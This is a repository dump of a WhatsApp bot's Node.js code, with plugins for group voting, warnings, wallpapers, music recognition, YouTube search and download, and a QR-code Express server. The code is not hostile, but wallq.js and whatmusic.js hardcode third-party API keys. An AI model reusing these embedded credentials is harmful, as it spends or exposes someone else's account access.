/image\/(png|jpe?g|gif)|video\/mp4/.test(mime) 10 | let link = await (isTele ? uploadImage : uploadFile)(media) 11 | m.reply(`${link} 12 | ${media.length} Byte(s) 13 | ${isTele ? '(No Expiry Date)' : '(Unknown)'}`) 14 | } 15 | handler.help = ['upload (caption|reply media)'] 16 | handler.tags = ['tools'] 17 | handler.command = /^upload$/i 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/uselessfacts.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch"); 2 | let handler = async (m, { conn, args }) => { 3 | let res = await fetch( 4 | global.API("https://uselessfacts.jsph.pl/", "/random.json", { 5 | language: "en", 6 | }) 7 | ); 8 | if (!res.ok) throw await `${res.status} ${res.statusText}`; 9 | let json = await res.json(); 10 | if (json.text) m.reply(json.text); 11 | else throw eror 12 | }; 13 | handler.help = ["fact"]; 14 | handler.tags = ["fun"]; 15 | 16 | handler.command = /^(fact|facts)$/i; 17 | 18 | module.exports = handler; 19 | -------------------------------------------------------------------------------- /plugins/vote-cekvote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | let id = m.chat 3 | conn.vote = conn.vote ? conn.vote : {} 4 | if (!(id in conn.vote)) throw `_*no voting in this group!*_\n\n*${usedPrefix}start* - to start voting` 5 | 6 | let [reason, upvote, devote] = conn.vote[id] 7 | let mentionedJid = [...upvote, ...devote] 8 | m.reply(` 9 | *「 VOTE 」* 10 | 11 | *Reason:* ${reason} 12 | 13 | *UPVOTE* 14 | _Total: ${upvote.length}_ 15 | ${upvote.map(u => '@' + u.split('@')[0]).join('\n')} 16 | 17 | *DEVOTE* 18 | _Total: ${devote.length}_ 19 | ${devote.map(u => '@' + u.split('@')[0]).join('\n')} 20 | 21 | *${usedPrefix}delvote* - to delete votes 22 | 23 | _by ariffb_ 24 | `.trim(), false, { contextInfo: { mentionedJid } }) 25 | } 26 | handler.help = ['checkvote'] 27 | handler.tags = ['vote'] 28 | handler.command = /^checkvote$/i 29 | handler.group = true 30 | module.exports = handler 31 | -------------------------------------------------------------------------------- /plugins/vote-delete.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | let id = m.chat 3 | conn.vote = conn.vote ? conn.vote : {} 4 | if (!(id in conn.vote)) throw `_*no voting in this group!*_\n\n*${usedPrefix}start* - to start voting` 5 | delete conn.vote[id] 6 | m.reply(`Done!`) 7 | 8 | } 9 | handler.help = ['unvote/delvote'] 10 | handler.tags = ['vote'] 11 | handler.command = /^(delete|delvote)vote$/i 12 | handler.group = true 13 | handler.admin = true 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/vote-start.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text, usedPrefix }) => { 2 | conn.vote = conn.vote ? conn.vote : {} 3 | let id = m.chat 4 | if (id in conn.vote) { 5 | throw `_There are still votes in this chat!_\n\n*${usedPrefix}unvote* - to delete votes` 6 | } 7 | m.reply(`Voting begins!\n\n*${usedPrefix}upvote* - for sure\n*${usedPrefix}devote* - for not\n*${usedPrefix}checkvote* - to check the vote\n*${usedPrefix}delvote* - to delete votes`) 8 | conn.vote[id] = [ 9 | text, 10 | [], 11 | [] 12 | ] 13 | } 14 | handler.help = ['startvote [reason]'] 15 | handler.tags = ['vote'] 16 | handler.command = /^(start|mulai)vote$/i 17 | handler.limit = true 18 | handler.group = true 19 | handler.admin = true 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/vote-vote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix, command }) => { 2 | let id = m.chat 3 | conn.vote = conn.vote ? conn.vote : {} 4 | if (!(id in conn.vote)) throw `_*no voting in this group!*_\n\n*${usedPrefix}start* - to start voting` 5 | let isVote = conn.vote[id][1].concat(conn.vote[id][2]) 6 | const wasVote = isVote.includes(m.sender) 7 | if (wasVote) throw 'You\'ve voted!' 8 | if (/up/i.test(command)) { 9 | conn.vote[id][1].push(m.sender) 10 | } else if (/de/i.test(command)) { 11 | conn.vote[id][2].push(m.sender) 12 | } 13 | m.reply(`Done!\n\n*${usedPrefix}checkvote* - to check the vote`) 14 | let [reason, upvote, devote] = conn.vote[id] 15 | let mentionedJid = [...upvote, ...devote] 16 | m.reply(` 17 | *「 VOTE 」* 18 | 19 | *Reason:* ${reason} 20 | 21 | *UPVOTE* 22 | _Total: ${upvote.length}_ 23 | ${upvote.map(u => '@' + u.split('@')[0]).join('\n')} 24 | 25 | *DEVOTE* 26 | _Total: ${devote.length}_ 27 | ${devote.map(u => '@' + u.split('@')[0]).join('\n')} 28 | 29 | *${usedPrefix}delvote* - to delete votes 30 | 31 | _by david_ 32 | `.trim(), false, { contextInfo: { mentionedJid } }) 33 | } 34 | handler.help = ['upvote', 'devote'] 35 | handler.tags = ['vote'] 36 | handler.command = /^(up|de)vote$/i 37 | handler.group = true 38 | module.exports = handler 39 | -------------------------------------------------------------------------------- /plugins/waifu.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async(m, { conn }) => { 3 | let res = await fetch('https://api.waifu.pics/sfw/waifu') 4 | if (!res.ok) throw await res.text() 5 | let json = await res.json() 6 | if (!json.url) throw 'Error!' 7 | conn.sendFile(m.chat, json.url, '', 'UωU', m) 8 | } 9 | handler.help = ['waifu'] 10 | handler.tags = ['anime'] 11 | handler.command = /^(waifu)$/i 12 | //MADE IN ERPAN 1140 BERKOLABORASI DENGAN BTS 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/wallpaperAnime.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | 3 | let handler = async (m, { conn }) => { 4 | try { 5 | let res = await fetch(global.API('xteam', '/randomimage/wpmobile', {}, 'APIKEY')) 6 | if (res.status != 200) throw await res.text() 7 | let img = await res.buffer() 8 | conn.sendFile(m.chat, img, '', '*© stickerin*', m, false, { thumbnail: Buffer.alloc(0) }) 9 | } catch (e) { 10 | throw `Apikey limit runs out or error !` 11 | } 12 | } 13 | handler.help = ['wallpaperanime/wpanime'] 14 | handler.tags = ['anime'] 15 | handler.command = /^(wallpaper|wp)anime$/i 16 | handler.limit = true 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/wallq.js: -------------------------------------------------------------------------------- 1 | // cewe yang ada di iklan royco bikin ange njing 2 | // pdhl cuma iklan :v 3 | 4 | const fetch = require('node-fetch') 5 | 6 | let handler = async (m, { conn, text }) => { 7 | if (!text) throw 'Looking for what?' 8 | let res = await fetch(global.API('https://wall.alphacoders.com/api2.0','/get.php', { 9 | auth: '3e7756c85df54b78f934a284c11abe4e', 10 | method: 'search', 11 | term: text 12 | })) 13 | if (!res.ok) throw await res.text() 14 | let json = await res.json() 15 | let img = json.wallpapers[Math.floor(Math.random() * json.wallpapers.length)] 16 | await conn.sendFile(m.chat, img.url_image, 'wallpaper', 'Here wallpaper!', m) 17 | } 18 | handler.help = ['wallpaperq <query>'] 19 | handler.tags = ['internet'] 20 | handler.command = /^wall(paper)?q?$/i 21 | handler.limit = true 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/warning_cek.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args, groupMetadata}) => { 2 | let target = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 3 | let warn = global.db.data.users[target].warn 4 | m.reply(`You have Total Warning : ${warn}`) 5 | } 6 | 7 | handler.help = ['checkwarn @user'] 8 | handler.tags = ['group'] 9 | handler.command = /^checkwarn$/i 10 | handler.owner = false 11 | handler.mods = false 12 | handler.premium = false 13 | handler.group = true 14 | handler.private = false 15 | handler.register = false 16 | handler.admin = false 17 | handler.botAdmin = true 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/warning_del.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args, groupMetadata}) => { 2 | if (args.length > 0) { 3 | const time = async (ms) => { 4 | return new Promise(resolve => setTimeout(resolve, ms)); 5 | } 6 | let mention = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : false 7 | let warn = global.db.data.users[mention].warn 8 | if (warn > 0) { 9 | global.db.data.users[mention].warn -= 1 10 | m.reply('⚠️ *WARNING -1*') 11 | m.reply(`Admin reduced your warning, your warn now ${warn - 1}`, mention) 12 | } else if (warn == 0) { 13 | m.reply('User has no warning') 14 | } 15 | } else conn.reply(m.chat, 'Tag target', m) 16 | } 17 | 18 | handler.help = ['delwarn @user'] 19 | handler.tags = ['group'] 20 | handler.command = /^delwarn$/i 21 | handler.owner = false 22 | handler.mods = false 23 | handler.premium = false 24 | handler.group = true 25 | handler.private = false 26 | handler.register = false 27 | handler.admin = true 28 | handler.botAdmin = false 29 | 30 | module.exports = handler 31 | -------------------------------------------------------------------------------- /plugins/whatmusic.js: -------------------------------------------------------------------------------- 1 | let FormData = require('form-data') 2 | let axios = require('axios') 3 | 4 | let handler = async (m, { conn, usedPrefix, command }) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (m.quoted ? m.quoted : m.msg).mimetype || '' 7 | if (!/video|audio/.test(mime)) throw `Reply to the music you want to find with a reply *${usedPrefix + command}*` 8 | m.reply(global.wait) 9 | const bodyForm = new FormData() 10 | bodyForm.append('audio', await q.download(), 'music.mp3') 11 | bodyForm.append('apikey', 'apivinz') 12 | axios('https://api.zeks.me/api/searchmusic', { 13 | method: 'POST', 14 | headers: { 15 | "Content-Type": "multipart/form-data", 16 | ...bodyForm.getHeaders() 17 | }, 18 | data: bodyForm 19 | }) 20 | .then(({data}) =>{ 21 | m.reply(`*_Data Found!_*\n\n*Title* : ${data.data.title}\n*Artists* : ${data.data.artists}\n*Genre* : ${data.data.genre}\n*Album* : ${data.data.album}\n*Release Date* : ${data.data.release_date}`) 22 | }).catch(() => { 23 | m.reply('*_Song not found!_*') 24 | }) 25 | 26 | } 27 | handler.help = ['whatmusic'] 28 | handler.tags = ['tools'] 29 | 30 | handler.command = /^(whatmusic)$/i 31 | 32 | module.exports = handler 33 | -------------------------------------------------------------------------------- /plugins/yt-comment.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'No Text' 3 | conn.sendFile(m.chat, global.API('https://some-random-api.ml', '/canvas/youtube-comment', { 4 | avatar: await conn.getProfilePicture(m.sender).catch(_ => ''), 5 | comment: text, 6 | username: conn.getName(m.sender) 7 | }), 'yt-comment.png', 'Here is your comment', m) 8 | } 9 | 10 | handler.help = ['ytcomment <comment>'] 11 | handler.tags = ['maker'] 12 | 13 | handler.command = /^(ytcomment)$/i 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/yta.js: -------------------------------------------------------------------------------- 1 | let limit = 30 2 | const { servers, yta } = require('../lib/y2mate') 3 | let handler = async (m, { conn, args, isPrems, isOwner }) => { 4 | if (!args || !args[0]) throw 'Uhm... where is the url?' 5 | let chat = global.db.data.chats[m.chat] 6 | let server = (args[1] || servers[0]).toLowerCase() 7 | let { dl_link, thumb, title, filesize, filesizeF} = await yta(args[0], servers.includes(server) ? server : servers[0]) 8 | let isLimit = (isPrems || isOwner ? 99 : limit) * 1024 < filesize 9 | conn.sendFile(m.chat, thumb, 'thumbnail.jpg', ` 10 | *Title:* ${title} 11 | *Filesize:* ${filesizeF} 12 | ${isLimit ? 'Used ': ''} 13 | `.trim(), m) 14 | if (!isLimit) conn.sendFile(m.chat, dl_link, title + '.mp3', ` 15 | *Title:* ${title} 16 | *Filesize:* ${filesizeF} 17 | `.trim(), m, null, { 18 | asDocument: chat.useDocument 19 | }) 20 | } 21 | handler.help = ['mp3/tya'].map(v => 'yt' + v + ` <url>`) 22 | handler.tags = ['downloader'] 23 | handler.command = /^yt(a|mp3)$/i 24 | handler.owner = false 25 | handler.mods = false 26 | handler.premium = false 27 | handler.group = false 28 | handler.private = false 29 | 30 | handler.admin = false 31 | handler.botAdmin = false 32 | 33 | handler.fail = null 34 | handler.exp = 0 35 | handler.limit = true 36 | 37 | module.exports = handler 38 | 39 | -------------------------------------------------------------------------------- /plugins/yts.js: -------------------------------------------------------------------------------- 1 | let yts = require('yt-search') 2 | let handler = async (m, { text }) => { 3 | if (!text) throw 'What are you looking for?' 4 | let results = await yts(text) 5 | let teks = results.all.map(v => { 6 | switch (v.type) { 7 | case 'video': return ` 8 | *${v.title}* (${v.url}) 9 | Duration: ${v.timestamp} 10 | Uploaded ${v.ago} 11 | ${v.views} views 12 | `.trim() 13 | case 'channel': return ` 14 | *${v.name}* (${v.url}) 15 | _${v.subCountLabel} (${v.subCount}) Subscriber_ 16 | ${v.videoCount} video 17 | `.trim() 18 | } 19 | }).filter(v => v).join('\n========================\n') 20 | m.reply(teks) 21 | } 22 | handler.help = ['', 'earch'].map(v => 'yts' + v + ' <search>') 23 | handler.tags = ['tools'] 24 | handler.command = /^yts(earch)?$/i 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /server.js: -------------------------------------------------------------------------------- 1 | let express = require('express') 2 | let path = require('path') 3 | // let SocketIO = require('socket.io') 4 | let qrcode = require('qrcode') 5 | 6 | function connect(conn, PORT) { 7 | let app = global.app = express() 8 | 9 | app.use(express.static(path.join(__dirname, 'views'))) 10 | let _qr = 'invalid' 11 | app.use(async (req, res) => { 12 | res.setHeader('content-type', 'image/png') 13 | res.end(await qrcode.toBuffer(_qr)) 14 | }) 15 | conn.on('qr', qr => { 16 | _qr = qr 17 | }) 18 | 19 | let server = app.listen(PORT, () => console.log('App listened on port', PORT)) 20 | // let io = SocketIO(server) 21 | // io.on('connection', socket => { 22 | // let { unpipeEmit } = pipeEmit(conn, socket, 'conn-') 23 | // socket.on('disconnect', unpipeEmit) 24 | // }) 25 | } 26 | 27 | function pipeEmit(event, event2, prefix = '') { 28 | let old = event.emit 29 | event.emit = function (event, ...args) { 30 | old.emit(event, ...args) 31 | event2.emit(prefix + event, ...args) 32 | } 33 | return { 34 | unpipeEmit() { 35 | event.emit = old 36 | } 37 | } 38 | } 39 | 40 | 41 | module.exports = connect 42 | -------------------------------------------------------------------------------- /src/Aesthetic/Aesthetic_000.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/Aesthetic/Aesthetic_000.jpeg -------------------------------------------------------------------------------- /src/Aesthetic/Aesthetic_001.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/Aesthetic/Aesthetic_001.jpg -------------------------------------------------------------------------------- /src/Aesthetic/Aesthetic_002.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/Aesthetic/Aesthetic_002.jpg -------------------------------------------------------------------------------- /src/avatar_contact.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/avatar_contact.png -------------------------------------------------------------------------------- /src/font/Futura Bold Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Bold Italic font.ttf -------------------------------------------------------------------------------- /src/font/Futura Bold font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Bold font.ttf -------------------------------------------------------------------------------- /src/font/Futura Book Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Book Italic font.ttf -------------------------------------------------------------------------------- /src/font/Futura Book font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Book font.ttf -------------------------------------------------------------------------------- /src/font/Futura Extra Black font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Extra Black font.ttf -------------------------------------------------------------------------------- /src/font/Futura Heavy Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Heavy Italic font.ttf -------------------------------------------------------------------------------- /src/font/Futura Heavy font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Heavy font.ttf -------------------------------------------------------------------------------- /src/font/Futura Light Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Light Italic font.ttf -------------------------------------------------------------------------------- /src/font/Futura Light font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Light font.ttf -------------------------------------------------------------------------------- /src/font/Futura Medium Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura Medium Italic font.ttf -------------------------------------------------------------------------------- /src/font/Futura XBlk BT.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura XBlk BT.ttf -------------------------------------------------------------------------------- /src/font/Futura-CondensedLight.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Futura-CondensedLight.otf -------------------------------------------------------------------------------- /src/font/Roboto-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-Black.ttf -------------------------------------------------------------------------------- /src/font/Roboto-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-BlackItalic.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-Bold.ttf -------------------------------------------------------------------------------- /src/font/Roboto-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-BoldItalic.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-Italic.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-Light.ttf -------------------------------------------------------------------------------- /src/font/Roboto-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-LightItalic.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-Medium.ttf -------------------------------------------------------------------------------- /src/font/Roboto-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-MediumItalic.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-Regular.ttf -------------------------------------------------------------------------------- /src/font/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-Thin.ttf -------------------------------------------------------------------------------- /src/font/Roboto-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Roboto-ThinItalic.ttf -------------------------------------------------------------------------------- /src/font/Zahraaa.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/Zahraaa.ttf -------------------------------------------------------------------------------- /src/font/futur.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/futur.ttf -------------------------------------------------------------------------------- /src/font/futura light bt.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/futura light bt.ttf -------------------------------------------------------------------------------- /src/font/futura medium bt.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/futura medium bt.ttf -------------------------------------------------------------------------------- /src/font/futura medium condensed bt.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/font/futura medium condensed bt.ttf -------------------------------------------------------------------------------- /src/kertas/magernulis1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/kertas/magernulis1.jpg -------------------------------------------------------------------------------- /src/thumb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/src/thumb.jpg -------------------------------------------------------------------------------- /test.js: -------------------------------------------------------------------------------- 1 | let fs = require('fs') 2 | let path = require('path') 3 | let assert = require('assert') 4 | let { spawn } = require('child_process') 5 | let folders = ['.', ...Object.keys(require('./package.json').directories)] 6 | let files = [] 7 | for (let folder of folders) 8 | for (let file of fs.readdirSync(folder).filter(v => v.endsWith('.js'))) 9 | files.push(path.resolve(path.join(folder, file))) 10 | for (let file of files) { 11 | if (file == path.join(__dirname, __filename)) continue 12 | console.error('Checking', file) 13 | spawn(process.argv0, ['-c', file]) 14 | .on('close', () => { 15 | assert.ok(file) 16 | console.log('Done', file) 17 | }) 18 | .stderr.on('data', chunk => assert.ok(chunk.length < 1, file + '\n\n' + chunk)) 19 | } 20 | -------------------------------------------------------------------------------- /tmp/file: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /views/img/dark/balloon_centered_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_centered_normal.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_centered_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_centered_pressed.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_centered_shadow.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_centered_shadow.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_incoming_frame.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_incoming_normal.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_normal_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_incoming_normal_ext.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_normal_stkr.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_incoming_normal_stkr.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_incoming_pressed.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_incoming_pressed_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_incoming_pressed_ext.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_live_location_incoming_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_live_location_incoming_frame.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_live_location_outgoing_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_live_location_outgoing_frame.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_outgoing_frame.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_outgoing_normal.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_normal_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_outgoing_normal_ext.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_normal_stkr.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_outgoing_normal_stkr.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_outgoing_pressed.9.png -------------------------------------------------------------------------------- /views/img/dark/balloon_outgoing_pressed_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/dark/balloon_outgoing_pressed_ext.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_centered_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_centered_normal.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_centered_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_centered_pressed.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_centered_shadow.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_centered_shadow.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_incoming_frame.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_incoming_normal.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_normal_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_incoming_normal_ext.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_normal_stkr.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_incoming_normal_stkr.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_pressed.9.png: -------------------------------------------------------------------------------- 